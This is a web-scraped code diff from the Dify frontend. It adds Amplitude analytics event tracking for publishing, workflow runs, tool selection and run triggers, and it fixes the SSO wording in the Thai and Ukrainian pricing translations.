import { useFormatTimeFromNow } from '@/hooks/use-format-time-from-now'
|
||||
import { trackEvent } from '@/app/components/base/amplitude'
|
||||
|
||||
const PUBLISH_SHORTCUT = ['ctrl', '⇧', 'P']
|
||||
|
||||
|
|
@ -109,6 +110,7 @@ const Popup = () => {
|
|||
releaseNotes: params?.releaseNotes || '',
|
||||
})
|
||||
setPublished(true)
|
||||
trackEvent('app_published_time', { action_mode: 'pipeline', app_id: datasetId, app_name: params?.title || '' })
|
||||
if (res) {
|
||||
notify({
|
||||
type: 'success',
|
||||
|
|
|
|||
|
|
@ -29,6 +29,7 @@ import { post } from '@/service/base'
|
|||
import { ContentType } from '@/service/fetch'
|
||||
import { TriggerType } from '@/app/components/workflow/header/test-run-menu'
|
||||
import { AppModeEnum } from '@/types/app'
|
||||
import { trackEvent } from '@/app/components/base/amplitude'
|
||||
|
||||
type HandleRunMode = TriggerType
|
||||
type HandleRunOptions = {
|
||||
|
|
@ -359,6 +360,7 @@ export const useWorkflowRun = () => {
|
|||
|
||||
if (onError)
|
||||
onError(params)
|
||||
trackEvent('workflow_run_failed', { workflow_id: flowId, reason: params.error, node_type: params.node_type })
|
||||
}
|
||||
|
||||
const wrappedOnCompleted: IOtherOptions['onCompleted'] = async (hasError?: boolean, errorMessage?: string) => {
|
||||
|
|
|
|||
|
|
@ -13,6 +13,7 @@ import { useTranslation } from 'react-i18next'
|
|||
import useTheme from '@/hooks/use-theme'
|
||||
import { Theme } from '@/types/app'
|
||||
import { basePath } from '@/utils/var'
|
||||
import { trackEvent } from '@/app/components/base/amplitude'
|
||||
|
||||
const normalizeProviderIcon = (icon?: ToolWithProvider['icon']) => {
|
||||
if (!icon)
|
||||
|
|
@ -102,6 +103,10 @@ const ToolItem: FC<Props> = ({
|
|||
params,
|
||||
meta: provider.meta,
|
||||
})
|
||||
trackEvent('tool_selected', {
|
||||
tool_name: payload.name,
|
||||
plugin_id: provider.plugin_id,
|
||||
})
|
||||
}}
|
||||
>
|
||||
<div className={cn('system-sm-medium h-8 truncate border-l-2 border-divider-subtle pl-4 leading-8 text-text-secondary')}>
|
||||
|
|
|
|||
|
|
@ -12,6 +12,7 @@ import { StopCircle } from '@/app/components/base/icons/src/vender/line/mediaAnd
|
|||
import { useDynamicTestRunOptions } from '../hooks/use-dynamic-test-run-options'
|
||||
import TestRunMenu, { type TestRunMenuRef, type TriggerOption, TriggerType } from './test-run-menu'
|
||||
import { useToastContext } from '@/app/components/base/toast'
|
||||
import { trackEvent } from '@/app/components/base/amplitude'
|
||||
|
||||
type RunModeProps = {
|
||||
text?: string
|
||||
|
|
@ -69,22 +70,27 @@ const RunMode = ({
|
|||
|
||||
if (option.type === TriggerType.UserInput) {
|
||||
handleWorkflowStartRunInWorkflow()
|
||||
trackEvent('app_start_action_time', { action_type: 'user_input' })
|
||||
}
|
||||
else if (option.type === TriggerType.Schedule) {
|
||||
handleWorkflowTriggerScheduleRunInWorkflow(option.nodeId)
|
||||
trackEvent('app_start_action_time', { action_type: 'schedule' })
|
||||
}
|
||||
else if (option.type === TriggerType.Webhook) {
|
||||
if (option.nodeId)
|
||||
handleWorkflowTriggerWebhookRunInWorkflow({ nodeId: option.nodeId })
|
||||
trackEvent('app_start_action_time', { action_type: 'webhook' })
|
||||
}
|
||||
else if (option.type === TriggerType.Plugin) {
|
||||
if (option.nodeId)
|
||||
handleWorkflowTriggerPluginRunInWorkflow(option.nodeId)
|
||||
trackEvent('app_start_action_time', { action_type: 'plugin' })
|
||||
}
|
||||
else if (option.type === TriggerType.All) {
|
||||
const targetNodeIds = option.relatedNodeIds?.filter(Boolean)
|
||||
if (targetNodeIds && targetNodeIds.length > 0)
|
||||
handleWorkflowRunAllTriggersInWorkflow(targetNodeIds)
|
||||
trackEvent('app_start_action_time', { action_type: 'all' })
|
||||
}
|
||||
else {
|
||||
// Placeholder for trigger-specific execution logic for schedule, webhook, plugin types
|
||||
|
|
|
|||
|
|
@ -68,6 +68,7 @@ import {
|
|||
useAllMCPTools,
|
||||
useAllWorkflowTools,
|
||||
} from '@/service/use-tools'
|
||||
import { trackEvent } from '@/app/components/base/amplitude'
|
||||
|
||||
// eslint-disable-next-line ts/no-unsafe-function-type
|
||||
const checkValidFns: Partial<Record<BlockEnum, Function>> = {
|
||||
|
|
@ -973,6 +974,7 @@ const useOneStepRun = <T>({
|
|||
_singleRunningStatus: NodeRunningStatus.Failed,
|
||||
},
|
||||
})
|
||||
trackEvent('workflow_run_failed', { workflow_id: flowId, node_id: id, reason: res.error, node_type: data?.type })
|
||||
},
|
||||
},
|
||||
)
|
||||
|
|
|
|||
|
|
@ -137,7 +137,7 @@ const translation = {
|
|||
name: 'กิจการ',
|
||||
description: 'รับความสามารถและการสนับสนุนเต็มรูปแบบสําหรับระบบที่สําคัญต่อภารกิจขนาดใหญ่',
|
||||
includesTitle: 'ทุกอย่างในแผนทีม รวมถึง:',
|
||||
features: ['โซลูชันการปรับใช้ที่ปรับขนาดได้สำหรับองค์กร', 'การอนุญาตใบอนุญาตเชิงพาณิชย์', 'ฟีเจอร์เฉพาะสำหรับองค์กร', 'หลายพื้นที่ทำงานและการจัดการองค์กร', 'ประกันสังคม', 'ข้อตกลง SLA ที่เจรจากับพันธมิตร Dify', 'ระบบความปลอดภัยและการควบคุมขั้นสูง', 'การอัปเดตและการบำรุงรักษาโดย Dify อย่างเป็นทางการ', 'การสนับสนุนทางเทคนิคระดับมืออาชีพ'],
|
||||
features: ['โซลูชันการปรับใช้ที่ปรับขนาดได้สำหรับองค์กร', 'การอนุญาตใบอนุญาตเชิงพาณิชย์', 'ฟีเจอร์เฉพาะสำหรับองค์กร', 'หลายพื้นที่ทำงานและการจัดการองค์กร', 'ระบบลงชื่อเพียงครั้งเดียว (SSO)', 'ข้อตกลง SLA ที่เจรจากับพันธมิตร Dify', 'ระบบความปลอดภัยและการควบคุมขั้นสูง', 'การอัปเดตและการบำรุงรักษาโดย Dify อย่างเป็นทางการ', 'การสนับสนุนทางเทคนิคระดับมืออาชีพ'],
|
||||
btnText: 'ติดต่อฝ่ายขาย',
|
||||
price: 'ที่กำหนดเอง',
|
||||
for: 'สำหรับทีมขนาดใหญ่',
|
||||
|
|
|
|||
|
|
@ -137,7 +137,7 @@ const translation = {
|
|||
name: 'Ентерпрайз',
|
||||
description: 'Отримайте повні можливості та підтримку для масштабних критично важливих систем.',
|
||||
includesTitle: 'Все, що входить до плану Team, плюс:',
|
||||
features: ['Масштабовані рішення для розгортання корпоративного рівня', 'Авторизація комерційної ліцензії', 'Ексклюзивні корпоративні функції', 'Кілька робочих просторів та управління підприємством', 'ЄД', 'Узгоджені SLA партнерами Dify', 'Розширена безпека та контроль', 'Оновлення та обслуговування від Dify офіційно', 'Професійна технічна підтримка'],
|
||||
features: ['Масштабовані рішення для розгортання корпоративного рівня', 'Авторизація комерційної ліцензії', 'Ексклюзивні корпоративні функції', 'Кілька робочих просторів та управління підприємством', 'ЄДИНА СИСТЕМА АВТОРИЗАЦІЇ', 'Узгоджені SLA партнерами Dify', 'Розширена безпека та контроль', 'Оновлення та обслуговування від Dify офіційно', 'Професійна технічна підтримка'],
|
||||
btnText: 'Зв\'язатися з відділом продажу',
|
||||
priceTip: 'Тільки річна оплата',
|
||||
for: 'Для великих команд',
|
||||
|
|
|
|||
Loading…
Reference in New Issue